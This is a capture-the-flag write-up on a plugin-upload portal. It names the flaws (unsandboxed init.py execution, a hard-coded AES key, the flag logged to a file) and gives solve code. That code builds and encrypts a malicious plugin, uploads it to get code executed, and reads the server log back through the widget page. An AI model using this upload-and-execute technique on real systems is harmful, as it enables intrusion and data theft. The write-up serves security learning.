
Solve: 61
Description
This isn't wordpress...
We get: Server.py
Vulnerabilities
- Arbitrary Code Execution: Uploaded
init.pyis executed withsubprocess.run([...], cwd=plugin_dir)with no sandboxing. - Hard-coded symmetric key:
KEY = b"SECRET_KEY!123456XXXXXXXXXXXXXXX"allows anyone to craft valid.pluginpackages. - Log exposure vector: Flag is printed to stdout by the official plugin and captured in
/opt/app/app.log. - Store gating by plugin count: Downloading from
/storeis gated bylen(registry) > 2, which can be trivially reached by uploading benign plugins.
Exploit Overview
- Build a valid
.pluginarchive (zip), place aninit.pythat reads/opt/app/app.logand writes it into the plugin's ownindex.html. - Encrypt the zip using the known AES-CBC key (prepend a random IV), producing a
.pluginfile. - Upload the
.pluginto the portal. The server will decrypt, extract, and executeinit.py. - Visit
/widget/<your-uid>- the server will serve theindex.htmlyou created, which contains the contents of the server log, including the flag line. - Parse the flag from the served page (it appears as
You cannot see this MUHAHAHAHA: <FLAG>in the log).
Solve.py
1. Payload that runs on the server:
INIT_PY = r'''
import os, html
from pathlib import Path
plug = Path(__file__).resolve().parent
src = "/opt/app/app.log"
try:
data = Path(src).read_text(errors="ignore")
except Exception as e:
data = f"[read error] {e}"
html_out = "<!doctype html><meta charset='utf-8'><title>log</title><pre>" + html.escape(data) + "</pre>"
(plug / "index.html").write_text(html_out)
print("ok")
'''
This string becomes the init.py file inside the plugin ZIP.
When the server executes init.py, it:
Reads /opt/app/app.log (where the server logged the official plugin’s stdout that contains the flag).
Builds a minimal HTML page wrapping the log (escaped so it’s safe to view).
Writes that page to index.html inside the plugin directory.
Prints "ok" to stdout (server captures stdout in logs too).
Result: after upload + execution, visiting /widget/ will serve the index.html we just wrote (i.e., the server log).
2. Build plugin ZIP (in-memory)
Create a ZIP containing the files the portal expects:
- plugin_manifest.json # {"name": NAME, "version":"1.0", "author":"me", "icon":"thumbnail.svg"}
- thumbnail.svg # small dashboard icon
- index.html # placeholder (payload will overwrite this on the server)
- init.py # the payload (INIT_PY) shown above
3. Encrypt to .plugin format
The server expects a .plugin file to be the IV (16 bytes) followed by AES-CBC(KEY, Padded(ZIP)). Steps:
iv = os.urandom(16) # random 16-byte IV
ciphertext = AES.new(KEY, AES.MODE_CBC, iv).encrypt(pad(zip_bytes, AES.block_size))
plugin_blob = iv + ciphertext # file contents to upload
*Because the server uses a hard-coded key (KEY) we can produce a valid .plugin.
4. Upload the plugin
POST the .plugin to /upload as multipart form data:
files = {'file': ('exploit.plugin', plugin_blob, 'application/octet-stream')}
requests.post(f"{BASE}/upload", files=files)
On the server this triggers:
Save uploaded file.
Decrypt using KEY.
Extract the zip into a new plugins/<uid>/ directory.
Execute init.py with subprocess.run(..., cwd=plugin_dir) - our payload runs now.
5. Find your plugin UID on the dashboard
After upload the dashboard (/) shows a widget card for the plugin. Scrape it to get the UID:
<a class="link" href="/widget/<uid>">LOG_RIPPER</a>
The UID is used to fetch /widget/ which serves that plugin’s index.html.
6. Fetch the widget page (exfiltrate the log)
GET /widget/ - the server will now serve the index.html our payload wrote, which contains the escaped contents of /opt/app/app.log.
Save it locally for inspection:
page = requests.get(f"{BASE}/widget/{uid}").text
open("widget_log.html","w").write(page)
7. Check for flag
def extract_flags(text):
pats = [r"CTF\{[^}]+\}", r"UPT\{[^}]+\}", r"flag\{[^}]+\}"]
found = []
for p in pats:
found += re.findall(p, text, flags=re.IGNORECASE)
m = re.search(r"MUHAHAHAHA:\s*([A-Za-z0-9_\-\{\}]+)", text)
if m: found.append(m.group(1))
seen = set(); out=[]
for f in found:
if f not in seen:
seen.add(f); out.append(f)
return out
...
# in main...
flags = extract_flags(page)
if flags:
print("flags found:")
for f in flags: print(" ", f)
else:
print("no flag")